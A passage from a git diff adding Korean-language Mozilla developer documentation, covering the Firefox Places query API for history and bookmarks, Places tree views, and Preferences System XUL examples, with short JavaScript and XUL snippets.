+<p>Firefox의 히스토리와 북마크 데이터는 "<a href="ko/Places">플레이스</a>" 질의 API를 이용하여 접근할 수 있습니다. 이 API는 히스토리, 북마크, 그리고 두 가지 모두에 대하여 복잡한 질의를 실행할 수 있는 기능을 제공합니다. 질의의 결과는 조건에 맞는 데이터의 단순 목록이나 트리 구조를 포함한 개체입니다. 질의 API와 결과 데이터의 구조에 대한 정의는 <code><a href="https://dxr.mozilla.org/mozilla-central/source/toolkit/components/places/public/nsINavHistoryService.idl" rel="custom">toolkit/components/places/public/nsINavHistoryService.idl</a></code>에 있습니다. 이 페이지는 일반적인 작업에 대한 소개와 핵심 API 사용법에 대한 예제를 제공합니다.</p>
+<h3 id=".EC.A7.88.EC.9D.98_.EC.8B.A4.ED.96.89" name=".EC.A7.88.EC.9D.98_.EC.8B.A4.ED.96.89">질의 실행</h3>
+<p>플레이스 질의는 몇 가지 기본 요소을 가지고 있습니다.</p>
+<ul>
+ <li>질의 개체: 검색 매개 변수를 가지고 있는 <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryQuery" title="">nsINavHistoryQuery</a></code></li>
+ <li>질의 옵션: 검색 결과의 구성을 가능하게 하는 <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryQueryOptions" title="">nsINavHistoryQueryOptions</a></code></li>
+ <li>히스토리 서비스: 질의를 실행하는 <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryService" title="">nsINavHistoryService</a></code></li>
+</ul>
+<p>첫 번째 단계는 질의와 옵션을 생성하고 원하는 매개 변수를 채우는 것입니다. 빈 개체를 얻으려면 <code>nsINavHistoryService.getNewQuery()</code>와 <code>nsINavHistoryService.getNewQueryOptions()</code>를 사용합니다. 이 개체의 기본 값은 모든 브라우저 히스토리를 단순 목록으로 반환하는 질의를 낳습니다.</p>
+<pre>var historyService = Components.classes["@mozilla.org/browser/nav-history-service;1"]
+                               .getService(Components.interfaces.nsINavHistoryService);
+
+// no query parameters will get all history
+// XXX default sorting is... ?
+var options = historyService.getNewQueryOptions();
+
+// no query parameters will return everything
+var query = historyService.getNewQuery();
+
+// execute the query
+var result = historyService.executeQuery(query, options);
+
+</pre>
+<h4 id=".EA.B2.B0.EA.B3.BC_.ED.98.95.EC.8B.9D" name=".EA.B2.B0.EA.B3.BC_.ED.98.95.EC.8B.9D">결과 형식</h4>
+<p><code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryQueryOptions" title="">nsINavHistoryQueryOptions</a></code>는 <code>resultType</code> 속성을 가지고 있는데 이는 결과로 반환되는 그룹화와 세부사항 수준의 구성을 가능하게 합니다. 이 속성의 여러 가지 값은 아래에 나와 있습니다. 이 값은 <code>nsINavHistoryQueryOptions</code>의 속성이기도 한데, <code>Components.interfaces.nsINavHistoryQueryOptions.RESULTS_AS_VISIT</code>와 같이 접근할 수 있습니다.</p>
+<ul>
+ <li><b>RESULTS_AS_URI</b>: 기본 값이며 질의에 부합하는 각 URI에 대하여 <code>RESULT_TYPE_URI</code> 형식의 하나의 결과 노드를 반환합니다.</li>
+ <li><b>RESULTS_AS_VISIT</b>: 이 옵션은 방문했던 페이지가 주어진 질의에 부합할 때마다 하나의 항목을 반환합니다. 결과는 다른 날짜를 가진 중복된 URL 항목을 포함할 수 있습니다. 노드는 <code>RESULT_TYPE_VISIT</code> 형식이며 각 방문에 대한 세션 ID를 제공합니다. 이 세션 ID는 링크를 클릭해서 방문한 모든 페이지에 대해 동일합니다. 사용자가 새로운 URL을 입력하거나 북마크를 따라가면 새로운 세션이 시작합니다.</li>
+ <li><b>RESULTS_AS_FULL_VISIT</b>: 이는 <code>RESULT_TYPE_VISIT</code>의 확장된 버전입니다. 결과는 <code>RESULT_TYPE_FULL_VISIT</code> 형식으로서 방문에 대한 추가 정보와 이동 방식(입력, 리디렉트, 링크 등)에 대한 정보를 가지고 있습니다.</li>
+</ul>
+<h4 id=".EA.B8.B0.EB.B3.B8_.EC.A7.88.EC.9D.98_.EA.B2.80.EC.83.89_.EB.A7.A4.EA.B0.9C_.EB.B3.80.EC.88.98" name=".EA.B8.B0.EB.B3.B8_.EC.A7.88.EC.9D.98_.EA.B2.80.EC.83.89_.EB.A7.A4.EA.B0.9C_.EB.B3.80.EC.88.98">기본 질의 검색 매개 변수</h4>
+<p><span class="comment">const unsigned long TIME_RELATIVE_EPOCH = 0 const unsigned long TIME_RELATIVE_TODAY = 1 const unsigned long TIME_RELATIVE_NOW = 2 attribute PRTime beginTime attribute unsigned long beginTimeReference readonly attribute boolean hasBeginTime readonly attribute PRTime absoluteBeginTime attribute PRTime endTime attribute unsigned long endTimeReference readonly attribute boolean hasEndTime readonly attribute PRTime absoluteEndTime attribute AString searchTerms readonly attribute boolean hasSearchTerms attribute long minVisits attribute long maxVisits attribute boolean onlyBookmarked attribute boolean domainIsHost attribute AUTF8String domain readonly attribute boolean hasDomain attribute boolean uriIsPrefix attribute nsIURI uri readonly attribute boolean hasUri attribute boolean annotationIsNot attribute AUTF8String annotation readonly attribute boolean hasAnnotation readonly attribute unsigned long folderCount</span></p>
+<h4 id=".EA.B8.B0.EB.B3.B8_.EC.A7.88.EC.9D.98_.EA.B5.AC.EC.84.B1_.EC.98.B5.EC.85.98" name=".EA.B8.B0.EB.B3.B8_.EC.A7.88.EC.9D.98_.EA.B5.AC.EC.84.B1_.EC.98.B5.EC.85.98">기본 질의 구성 옵션</h4>
+<p><span class="comment">const unsigned short GROUP_BY_DAY = 0 const unsigned short GROUP_BY_HOST = 1 const unsigned short GROUP_BY_DOMAIN = 2 const unsigned short GROUP_BY_FOLDER = 3 const unsigned short SORT_BY_NONE = 0 const unsigned short SORT_BY_TITLE_ASCENDING = 1 const unsigned short SORT_BY_TITLE_DESCENDING = 2 const unsigned short SORT_BY_DATE_ASCENDING = 3 const unsigned short SORT_BY_DATE_DESCENDING = 4 const unsigned short SORT_BY_URI_ASCENDING = 5 const unsigned short SORT_BY_URI_DESCENDING = 6 const unsigned short SORT_BY_VISITCOUNT_ASCENDING = 7 const unsigned short SORT_BY_VISITCOUNT_DESCENDING = 8 const unsigned short SORT_BY_KEYWORD_ASCENDING = 9 const unsigned short SORT_BY_KEYWORD_DESCENDING = 10 const unsigned short SORT_BY_DATEADDED_ASCENDING = 11 const unsigned short SORT_BY_DATEADDED_DESCENDING = 12 const unsigned short SORT_BY_LASTMODIFIED_ASCENDING = 13 const unsigned short SORT_BY_LASTMODIFIED_DESCENDING = 14 const unsigned short SORT_BY_ANNOTATION_ASCENDING = 15 const unsigned short SORT_BY_ANNOTATION_DESCENDING = 16 const unsigned short RESULTS_AS_URI = 0 const unsigned short RESULTS_AS_VISIT = 1 const unsigned short RESULTS_AS_FULL_VISIT = 2 attribute unsigned short sortingMode attribute AUTF8String sortingAnnotation attribute unsigned short resultType attribute boolean excludeItems attribute boolean excludeQueries attribute boolean excludeReadOnlyFolders attribute boolean expandQueries attribute boolean includeHidden attribute boolean showSessions attribute unsigned long maxResults const unsigned short QUERY_TYPE_HISTORY = 0 const unsigned short QUERY_TYPE_BOOKMARKS = 1 const unsigned short QUERY_TYPE_UNIFIED = 2 attribute unsigned short queryType</span></p>
+<h4 id=".EB.B3.B5.ED.95.A9_.EC.A7.88.EC.9D.98" name=".EB.B3.B5.ED.95.A9_.EC.A7.88.EC.9D.98">복합 질의</h4>
+<p>하나 이상의 <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryQuery" title="">nsINavHistoryQuery</a></code> 개체를 <code>executeQueries()</code>로 전달할 수 있습니다. 하나의 질의 개체 안에서 모든 매개 변수는
+ <i>
+  AND</i>
+ 로 연결됩니다. 그리고 서로 다른 질의 개체의 조건들은
+ <i>
+  OR</i>
+ 로 연결됩니다. 이는 여전히 표현력이 있으면서도 중첩된 절을 가진 완전한 논리 연산보다 더 간단한 구현과 인터페이스를 가능하게 합니다.</p>
+<p>다음은 방문한 모든 페이지 중 제목이나 URL에 "firefox"라는 단어를 포함한 페이지나 오늘 mozilla.org에서 방문한 페이지를 질의하는 예제입니다.</p>
+<pre>// first query object searches for "firefox" in title/URL
+var query1 = historyService.getNewQuery();
+query1.searchTerms = "firefox";
+
+// second query object searches for visited in past 24 hours AND from mozilla.org
+var query2 = historyService.getNewQuery();
+query2.beginTimeReference = query2.TIME_RELATIVE_NOW;
+query2.beginTime = -24 * 60 * 60 * 1000000; // 24 hours ago in microseconds
+query2.endTimeReference = query2.TIME_RELATIVE_NOW;
+query2.endTime = 0; // now
+query2.domain = "mozilla.org";
+
+var result = historyService.executeQueries([query1, query2], 2, options);
+</pre>
+<div class="note">
+ <b>참고</b>: 키워드 검색은
+ <i>
+  OR</i>
+ 질의를 가로질러 올바르게 동작하지 않습니다. 현재 작동 방식은 보통의 질의를 실행하고 나서 첫 번째 질의의 키워드를 선택하여 모든 결과를 거릅니다. (달리 이야기하면, 첫 번째 질의의 키워드는 모든 질의와
+ <i>
+  AND</i>
+ 로 연결됩니다.) 뒤따르는 질의 개체의 키워드는 무시합니다. 이는 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=320332" title="Fix query filtering and keyword searching - does not work for multiple OR'ed queries">bug 320332</a>입니다.</div>
+<h4 id=".EB.B6.81.EB.A7.88.ED.81.AC_.EC.A7.88.EC.9D.98" name=".EB.B6.81.EB.A7.88.ED.81.AC_.EC.A7.88.EC.9D.98">북마크 질의</h4>
+<p>간단한 북마크 질의를 실행하기 위한 빠른 시작 설명이 <a href="ko/Places/Accessing_Bookmarks">Accessing Bookmarks</a>에 있습니다.</p>
+<p>북마크 폴더의 내용은 질의 개체에 "folders" 멤버를 설정하는 것으로 구할 수 있습니다. 이 항목은 북마크 서비스에서 온 폴더 ID의 배열입니다. 일반적으로 이 목록에는 해당 폴더의 내용을 알려줄 하나의 폴더 ID가 있습니다. 여러 개의 폴더를 지정할 수 있으며 결과는 모든 폴더의 교집합이 됩니다.</p>
+<div class="warning">
+ <b>주의</b>: 북마크 질의에 영향을 줄 목적으로 GROUP_BY_FOLDER 옵션이 있습니다. 이는 구현되지 않았는데 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=331487" title="Fix GROUP_BY_FOLDER in query system">bug 331487</a>를 참고하십시오. 북마크 계층 구조를 원한다면 항상 이 옵션을 사용해야 합니다. 이 옵션이 빠지면 질의가 반환하는 모든 폴더의 모든 북마크 항목을 단순한 목록으로 반환하도록 바뀝니다.</div>
+<p>정렬에 대해서는 보통 (기본 값인) <code>SORT_BY_NONE</code>를 사용하는데 이는 사용자가 북마크 관리자에서 지정한 "자연스러운" 순서로 항목을 반환하기 때문입니다. 그러나 다른 정렬도 작동합니다.</p>
+<p>북마크 질의에 대해서는 보통 요청한 폴더의 모든 항목을 구하기 위하여 질의 매개 변수가 없습니다. 정확하게 하나의 폴더 및 <code>GROUP_BY_FOLDER</code>를 지정하고 매개 변수가 없으면 이는 정확하게 하나의 폴더에 대응하므로 시스템은 훨씬 효율적인 질의를 수행하고 최신 결과를 유지하게 됩니다.</p>
+<pre>var bookmarkService = Components.classes["@mozilla.org/browser/nav-bookmarks-service;1"]
+                                .getService(Components.interfaces.nsINavBookmarksService);
+// |query| and |options| are objects created in the previous section
+query.setFolders([bookmarkService.toolbarFolder], 1);
+options.setGroupingMode([options.GROUP_BY_FOLDER], 1);
+var result = historyService.executeQuery(query, options);
+</pre>
+<h3 id=".EC.A7.88.EC.9D.98_.EC.A7.81.EB.A0.AC.ED.99.94" name=".EC.A7.88.EC.9D.98_.EC.A7.81.EB.A0.AC.ED.99.94">질의 직렬화</h3>
+<p>질의와 옵션 개체는 <code>queriesToQueryString</code>를 사용하여 "place:"로 시작하는 문자열로 직렬화할 수 있습니다. 결과 문자열은 저장하거나 북마크할 수 있습니다. "place:" URI를 북마크하면 사용자가 그것을 열 때 질의의 결과로 확장됩니다. 원본 개체는 <code>queryStringToQueries</code>를 사용하여 문자열로부터 직렬화를 해제할 수 있습니다.</p>
+<p>주의할 점은 문자열이 비어 있으면 <code>queryStringToQueries</code>는 어떠한 질의 개체도 반환하지 않는다는 것입니다. 코드는 이를 처리해야 합니다. 반환되는 옵션 구조는 항상 있습니다. 옵션을 지정하지 않으면 기본 값을 갖게 됩니다. 질의 매개 변수가 없는데 입력 문자열이 빈 것이 아니면(옵션이 있었습니다) 기본 질의 값을 포함하는 하나의 질의 개체를 얻게 됩니다.</p>
+<p>다음은 두 개의 질의와 하나의 옵션 개체를 직렬화하고 해제하는 예제입니다.</p>
+<pre>var queryString = historyService.queriesToQueryString([query1, query2], 2, options);
+
+var queriesRef = { };
+var queryCountRef = { };
+var optionsRef = { };
+historyService.queryStringToQueries(queryString, queriesRef, queryCountRef, optionsRef);
+// now use queriesRef.value, optionsRef.value
+</pre>
+<p>"place:" URI에서 이용 가능한 용어에 대한 참조는 <a href="ko/Places/PlaceURIs">Places:PlaceURIs</a>를 참고하십시오.</p>
+<h3 id=".EA.B2.B0.EA.B3.BC_.EC.82.AC.EC.9A.A9" name=".EA.B2.B0.EA.B3.BC_.EC.82.AC.EC.9A.A9">결과 사용</h3>
+<p>결과를 사용하는 가장 일반적인 방법은 뷰를 구현하는 것입니다. 결과를 트리 콘트롤에 넣는 내장 뷰가 있으며 여러분 자신의 뷰를 구현할 수도 있습니다. 자세한 사항은 <a href="ko/Places/Views">Places:Views</a>를 참고하시기 바랍니다. 이 섹션은 결과를 직접 접근하는 방법에 대해서 다룹니다. 예를 들어, 여러분 자신의 뷰를 생성하거나 결과를 표시하는 대신 처리하는 경우입니다.</p>
+<p>
+ <i>
+  참고: 노드를 접근할 대는 참조를 유지하지 않도록 주의하십시오. 정렬과 같은 프로그래머가 실행하는 명령어 뿐만 아니라 히스토리와 북마크 시스템에서 결과로 보내는 알림은 구조가 변경되거나 노드가 삽입, 삭제, 대체되도록 합니다.</i>
+</p>
+<p><code>executeQuery()</code>/<code>executeQueries()</code>가 반환하는 <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryResult" title="">nsINavHistoryResult</a></code> 개체는 주어진 히스토리나 북마크 질의에 부합하는 목록을 포함합니다. 이 결과는 노드로 구성된 트리 구조에 포함됩니다. 노드 형식은 <code>type</code> 속성을 이용해서 구할 수 있습니다. 이 형식은 더 자세한 정보를 얻기 위해서 어떤 인테페이스를 <code>QueryInterface</code> 할 수 있는지 알려줍니다.</p>
+<ul>
+ <li><b>nsINavHistoryResultNode</b>: 모든 노드의 기본 클래스입니다. URI, 제목, 기타 일반적인 정보를 담고 있습니다.</li>
+ <li><b>nsINavHistoryVisitResultNode</b>: <code>nsINavHistoryResultNode</code>에서 파생되고, 세션 정보를 담고 있습니다.</li>
+ <li><b>nsINavHistoryFullVisitResultNode</b>: <code>nsINavHistoryVisitResultNode</code>에서 파생되고, 사용자가 이 페이지를 탐색한 방법에 대한 정보를 담고 있습니다.
+  <i>
+   참고: 현재 구현되지 않은 상태입니다. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=320831" title="Expose visit ID in result nodes.">bug 320831</a>를 참고하십시오.</i>
+ </li>
+ <li><b>nsINavHistoryContainerResultNode</b>: 자식으로 접근할 수 있도록 하는 일반 콘테이너 노드입니다. <code>nsINavHistoryResultNode</code>에서 파생됩니다. 북마크 폴더는 이 형식입니다.</li>
+ <li><b>nsINavHistoryQueryResultNode</b>: 히스토리 시스템의 질의를 나타내는 콘테이너 형식입니다. 질의 옵션과 매개 변수를 구할 수 있도록 해줍니다.</li>
+</ul>
+<p>다음은 노드의 형식을 구하는 예제입니다.</p>
+<pre>var Ci = Components.interfaces;
+switch(node.type) {
+  case node.RESULT_TYPE_URI:
+    dump("URI result " + node.uri + "\n");
+    break;
+  case node.RESULT_TYPE_VISIT:
+    var visit = node.QueryInterface(Ci.nsINavHistoryVisitResultNode);
+    dump("Visit result " + node.uri + " session = " + visit.sessionId + "\n");
+    break;
+  case node.RESULT_TYPE_FULL_VISIT:
+    var fullVisit = node.QueryInterface(Ci.nsINavHistoryFullVisitResultNode);
+    dump("Full visit result " + node.uri + " session = " + fullVisit.sessionId + " transitionType = " +
+         fullVisit.transitionType + "\n");
+    break;
+  case node.RESULT_TYPE_HOST:
+    var container = node.QueryInterface(Ci.nsINavHistoryContainerResultNode);
+    dump("Host " + container.title + "\n");
+    break;
+  case node.RESULT_TYPE_REMOTE_CONTAINER:
+    var container = node.QueryInterface(Ci.nsINavHistoryContainerResultNode);
+    dump("Remote container " + container.title + " type = " + container.remoteContainerType + "\n");
+    break;
+  case node.RESULT_TYPE_QUERY:
+    var query = node.QueryInterface(Ci.nsINavHistoryQueryResultNode);
+    dump("Query, place URI = " + query.uri + "\n");
+    break;
+  case node.RESULT_TYPE_FOLDER:
+    // Note that folder nodes are of type nsINavHistoryContainerResultNode by default, but
+    // can be QI'd to nsINavHistoryQueryResultNode to access the query and options that
+    // created it.
+    dump("Folder " + node.title + " id = " + node.itemId + "\n");
+    break;
+  case node.RESULT_TYPE_SEPARATOR:
+    dump("-----------\n");
+    break;
+}
+</pre>
+<h4 id=".EC.BD.98.ED.85.8C.EC.9D.B4.EB.84.88" name=".EC.BD.98.ED.85.8C.EC.9D.B4.EB.84.88">콘테이너</h4>
+<p>콘테이너는 다른 콘테이너 목록과 결과 노드를 포함합니다. 각 결과는 질의의 루트를 나타내는 콘테이너를 가지고 있습니다. 이는 결과의 <code>root</code> 속성을 이용하여 구할 수 있습니다. 일반적인 질의에 대해서 이 루트 콘테이너는 원본 질의에서 여러분이 제공한 질의 매개 변수와 옵션을 포함한 <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryQueryResultNode" title="">nsINavHistoryQueryResultNode</a></code>입니다. 하나의 북마크 폴더로 대응하는 질의에 대해서 이는 <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryContainerResultNode" title="">nsINavHistoryContainerResultNode</a></code>이 됩니다.</p>
+<p>콘테이너는 열리거나 닫힐 수 있습니다. 이는 트리 뷰의 열린 상태나 닫힌 상태에 해당하며 메뉴를 보이거나 감추는 것에 대응할 수 있습니다. 콘테이너의 내용을 얻으려면 먼저 콘테이너를 열어야 합니다. 대부분의 콘테이너 형식은 자신을 지연된 방식으로(lazily) 채우기 때문에 콘테이너를 여는 것은 실제 주어진 질의를 실행하는 것에 해당합니다. 콘테이너가 열린 동안에는 히스토리와 북마크 시스템의 알림을 듣고 내용을 수정하여 최신 상태로 유지합니다. 이러한 이유로 작업을 마치자 마자 콘테이너를 닫는 것이 최선인데, 이는 더 나은 성능을 제공하기 때문입니다. 콘테이너를 닫고 히스토리나 북마크 변경 알림이 도착하기 전에 다시 열면 보통 결과는 여전히 존재하고 작업은 빠르게 됩니다.</p>
+<p>다음은 콘테이너를 탐색하는 예제입니다.</p>
+<pre>var cont = result.root;
+cont.containerOpen = true;
+for (var i = 0; i &lt; cont.childCount; i ++) {
+  var node = cont.getChild(i);
+  dump(node.title + "\n");
+}
+cont.containerOpen = false;
+</pre>
+<h4 id=".EA.B2.B0.EA.B3.BC_.EB.B7.B0_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4" name=".EA.B2.B0.EA.B3.BC_.EB.B7.B0_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4">결과 뷰 인터페이스</h4>
+<p>결과를 UI에 대응하려면 <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryResultViewer" title="">nsINavHistoryResultViewer</a></code> 인터페이스를 구현하고 그것을 <code>nsINavHistoryResult.viewer</code> 속성과 함께 결과에 붙입니다. 사용자 동작의 결과로서 또는 북마크와 히스토리 시스템의 알림의 결과로서 결과 트리가 바뀌면 이 뷰어가 호출됩니다. 그러면 여러분의 구현은 이러한 변경을 UI에 반영하게 됩니다.</p>
+<p><code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsITreeBoxObject" title="">nsITreeBoxObject</a></code>에 대한 미리 준비된 뷰 인터페이스가 제공되는데 이는 트리의 복잡한 뷰 요구사항을 관리합니다. 이 개체의 인터페이스는 <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryResultTreeViewer" title="">nsINavHistoryResultTreeViewer</a></code> (<code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryResultViewer" title="">nsINavHistoryResultViewer</a></code>의 파생 인터페이스)입니다. 더 자세한 정보와 예제는 <a href="ko/Places/Views">Places:Views</a>를 참고하시기 바랍니다.</p>
+<div class="noinclude">
+  </div>
+<p></p>
diff --git a/files/ko/places/views/index.html b/files/ko/places/views/index.html
new file mode 100644
index 0000000000..7f4233cc5a
--- /dev/null
+++ b/files/ko/places/views/index.html
@@ -0,0 +1,43 @@
+---
+title: Views
+slug: Places/Views
+tags:
+  - Places
+---
+<p>뷰는 nsINavHistoryResult 개체를 사용자에게 표시하는 방법입니다. 뷰는 <a href="https://dxr.mozilla.org/mozilla-central/source/toolkit/components/places/public/nsINavHistoryService.idl" rel="custom">nsINavHistoryService.idl</a>에 정의된 nsINavHistoryResultViewer 인터페이스를 구현합니다.</p>
+
+<p>대부분의 애플리케이션에서 내장 뷰를 포함한 플레이스 콘트롤 중의 하나를 사용하면 충분하고 자신의 뷰를 사용하는 복잡함을 피할 수 있습니다. 더 자세한 사항은 <a href="ko/Places/Instantiating_Views">Instantiating Views</a>를 참고하시기 바랍니다.</p>
+
+<h3 id=".EB.B7.B0_.EB.93.B1.EB.A1.9D.ED.95.98.EA.B8.B0" name=".EB.B7.B0_.EB.93.B1.EB.A1.9D.ED.95.98.EA.B8.B0">뷰 등록하기</h3>
+
+<p>nsINavHistoryResult에 <code>viewer</code> 속성을 지정하여 뷰를 등록합니다. 이 때, 결과는 주어진 뷰의 <code>result</code> 속성을 지정하게 됩니다.<em>뷰의 결과 속성을 명시적으로 지정하면 안됩니다.</em> 뷰를 초기화하려면 <code>viewer</code> 속성을 <code>null</code>로 지정합니다. 이는 뷰의 결과 속성 또한 <code>null</code>로 지정하게 합니다.</p>
+
+<p>참조 고리에 대해 주의하십시오. 뷰와 결과는 모두 서로에 대한 참조를 가지고 있습니다. 이 개체들을 삭제하려면 <code>result.viewer</code>를 <code>null</code>로 지정하여 이 고리를 없애야 합니다. 내장 트리 뷰(아래를 참고하십시오)는 이를 자동으로 처리합니다. 트리가 소멸되거나 다른 nsITreeView가 트리와 결합하면 트리는 <code>nsITreeView.tree = null</code>를 호출합니다. 뷰어는 이 경우를 감지하고 자신을 결과에서 분리합니다.</p>
+
+<h5 id=".EB.82.B4.EC.9E.A5_.ED.8A.B8.EB.A6.AC_.EB.B7.B0" name=".EB.82.B4.EC.9E.A5_.ED.8A.B8.EB.A6.AC_.EB.B7.B0">내장 트리 뷰</h5>
+
+<p>가장 흔한 형식의 뷰는 트리 콘트롤이지만 이는 구현하기가 상대적으로 어려운 콘트롤이기도 합니다. 그러므로, 플레이스는 여러분이 결과를 트리 뷰에 표시하기를 원하는 경우를 위하여 내장 뷰 개체를 제공합니다. 이는 <code><a href="https://dxr.mozilla.org/mozilla-central/source/browser/components/places/content/treeView.js" rel="custom">browser/components/places/content/treeView.js</a></code>에 구현되어 있습니다.</p>
+
+<p>이 개체는 nsINavHistoryResultViewer와 <a href="https://dxr.mozilla.org/mozilla-central/source//layout/xul/base/src/tree/public/nsITreeView.idl" rel="custom">nsITreeView</a>를 모두 구현합니다. 그러므로 이 개체를 사용하면 결과(<a href="ko/Places/Query_System">플레이스 질의 시스템</a> 참고)와 트리 사이를 중개할 수 있습니다.</p>
+
+<pre>var result = historyService.executeQuery(...); // your places query result
+var tree = document.getElementById("mytree"); // your tree control
+
+var showRootNodeInTree = true;
+var treeviewer = new PlacesTreeView(showRootNodeInTree);
+
+result.viewer = treeviewer;
+tree.view = treeviewer.QueryInterface(Components.interfaces.nsITreeView);
+</pre>
+
+<p>내장 트리 뷰는 (<a href="https://dxr.mozilla.org/mozilla-central/source/toolkit/components/places/public/nsINavHistoryService.idl" rel="custom">nsINavHistoryService.idl</a>에 선언된) nsINavHistoryResultViewObserver를 구현한 관찰자(observer) 인터페이스를 붙일 수도 있습니다. 이 관찰자 인터페이스를 이용하면 외부 콤포넌트는 어떤 일이 발생하는지 확인하고 적절한 동작을 취할 수 있습니다. 예를 들어, 플레이스 트리에서는 콘트롤러가 붙어서 무엇인가 트리에 드래그 앤 드롭되는지 알아차릴 수 있습니다. 그리고 나서 적절한 동작을 취합니다.</p>
+
+<h3 id=".EB.B7.B0_.EA.B5.AC.ED.98.84.ED.95.98.EA.B8.B0" name=".EB.B7.B0_.EA.B5.AC.ED.98.84.ED.95.98.EA.B8.B0">뷰 구현하기</h3>
+
+<p>사용자 정의 트리 뷰가 필요할 때는 여러분 자신의 클래스 안에 nsINavHistoryResultTreeViewer를 둘러싸는 것이 가장 쉽습니다. 예를 들어, 특별한 첫 번째 행을 구현하려면 여러분의 개체는 첫 번째 행에 대한 nsITreeView 응답을 제공하고 다른 모든 메시지는 하나 이동한 색인과 함께 내장 트리 뷰에 전달하면 됩니다.</p>
+
+<p><code>nsINavHistoryResultNode.viewIndex</code> 속성은 뷰에 사용하기 위하여 명시적으로 제공됩니다. 이 값은 각 노드가 생성될 때 -1로 초기화됩니다. 이 값을 사용하여 보이는 노드는 추적할 수 있습니다. 내장 트리 뷰어는 노드가 켜진 행의 색인을 보관하기 위하여 이 속성을 사용합니다.</p>
+
+<p>nsINavHistoryResultViewer 또한 관찰자 인터페이스를 가지고 있어서 nsINavHistoryResultViewObserver가 변화를 관찰할 수 있도록 합니다. 그러나 이 관찰자 인터페이스는 트리만을 위한 것입니다. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=337638" title="Make nsINavHistoryResultViewObserver only for nsINavHistoryResultTreeViewer">bug 337638</a>는 이를 nsINavHistoryResultTreeViewer 개체로 옮기기 위한 것입니다. nsINavHistoryResultViewer의 다른 구현은 자신의 관찰자를 이용해야 합니다.</p>
+
+<div class="noinclude"></div>
diff --git a/files/ko/preferences_system/examples/index.html b/files/ko/preferences_system/examples/index.html
new file mode 100644
index 0000000000..cc536d86f3
--- /dev/null
+++ b/files/ko/preferences_system/examples/index.html
@@ -0,0 +1,32 @@
+---
+title: Examples
+slug: Preferences_System/Examples
+tags:
+  - NeedsContent
+  - Preferences system
+---
+<p>{{ Preferences_System_TOC() }}
+</p>
+<h3 id="Preferences_.EB.8C.80.ED.99.94.EC.83.81.EC.9E.90_.EC.98.88"> Preferences 대화상자 예 </h3>
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="<span>chrome://global/skin/</span>" type="text/css"?&gt;
+
+&lt;prefwindow id="stockwatcher2-prefs"
+     title="StockWatcher 2 Options"
+     xmlns="<span>http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+
+&lt;prefpane id="sw2-stock-pane" label="Stock Settings"&gt;
+  &lt;preferences&gt;
+    &lt;preference id="pref_symbol" name="stockwatcher2.symbol" type="string"/&gt;
+  &lt;/preferences&gt;
+
+  &lt;hbox align="center"&gt;
+    &lt;label control="symbol" value="Stock to watch: "/&gt;
+    &lt;textbox preference="pref_symbol" id="symbol" maxlength="4"/&gt;
+  &lt;/hbox&gt;
+&lt;/prefpane&gt;
+
+&lt;/prefwindow&gt;
+</pre>
+<p>같이 보기: <a href="ko/Adding_preferences_to_an_extension"> 확장기능에 preferences 추가하기</a>
+</p>{{ languages( { "en": "en/Preferences_System/Examples", "ja": "ja/Preferences_System/Examples" } ) }}
diff --git a/files/ko/preferences_system/index.html b/files/ko/preferences_system/index.html
new file mode 100644
index 0000000000..4a1d1f2717
--- /dev/null
+++ b/files/ko/preferences_system/index.html
@@ -0,0 +1,49 @@
+---
+title: Preferences System
+slug: Preferences_System
+tags:
+  - Preferences system
+  - XUL
+---
+<p>이 문서는 Aviary Toolkit의 새 preferences system을 설명합니다. 이 시스템을 쓰면 여러 플랫폼(Windows, MacOS X, GNOME)에서 알맞게 동작하고 표시하는 preferences 창을 만들 수 있습니다.
+</p><p><b>주의:</b> Preferences System은 오직 Firefox/Thunderbird 1.5(alpha와 beta 포함)에서 시작할 수 있습니다. Firefox 1.0 기반 응용프로그램과 확장기능에서는 쓸 수 없습니다.
+</p><p>새 시스템은 <a href="ko/XUL">XUL</a> 요소와 속성 몇 개로 구현됩니다. 이에 관한 참조 정보는 아래 링크 가운데 하나를 클릭하면 이용할 수 있습니다.
+</p><div class="moreinfo">  <p><strong><a href="/ko/docs/Preferences_System">Preferences System</a> 문서:</strong></p>  <ul>    <li>소개: <a href="/ko/docs/Preferences_System/Getting_Started">시작하기</a> | <a href="/ko/docs/Preferences_System/Examples">예제</a> | <a href="/ko/docs/Preferences_System/Troubleshooting">문제 해결하기</a></li>    <li>참조: <code><a href="/ko/docs/Mozilla/Tech/XUL/prefwindow" title="prefwindow">prefwindow</a></code> | <code><a href="/ko/docs/Mozilla/Tech/XUL/prefpane" title="prefpane">prefpane</a></code> | <code><a href="/ko/docs/Mozilla/Tech/XUL/preferences" title="preferences">preferences</a></code> | <code><a href="/ko/docs/Mozilla/Tech/XUL/preference" title="preference">preference</a></code> | <a href="/ko/docs/Preferences_System/New_attributes">새 속성</a></li>  </ul></div>
+
+<h3 id=".EC.82.AC.EC.9A.A9" name=".EC.82.AC.EC.9A.A9"> 사용 </h3>
+<p><span class="comment">this will eventually be moved from here</span>
+</p><p>전형이 될 만한 preferences 창을 위한 코드는 아래처럼 보일 수 있습니다:
+</p>
+<pre>&lt;prefwindow id="appPreferences"
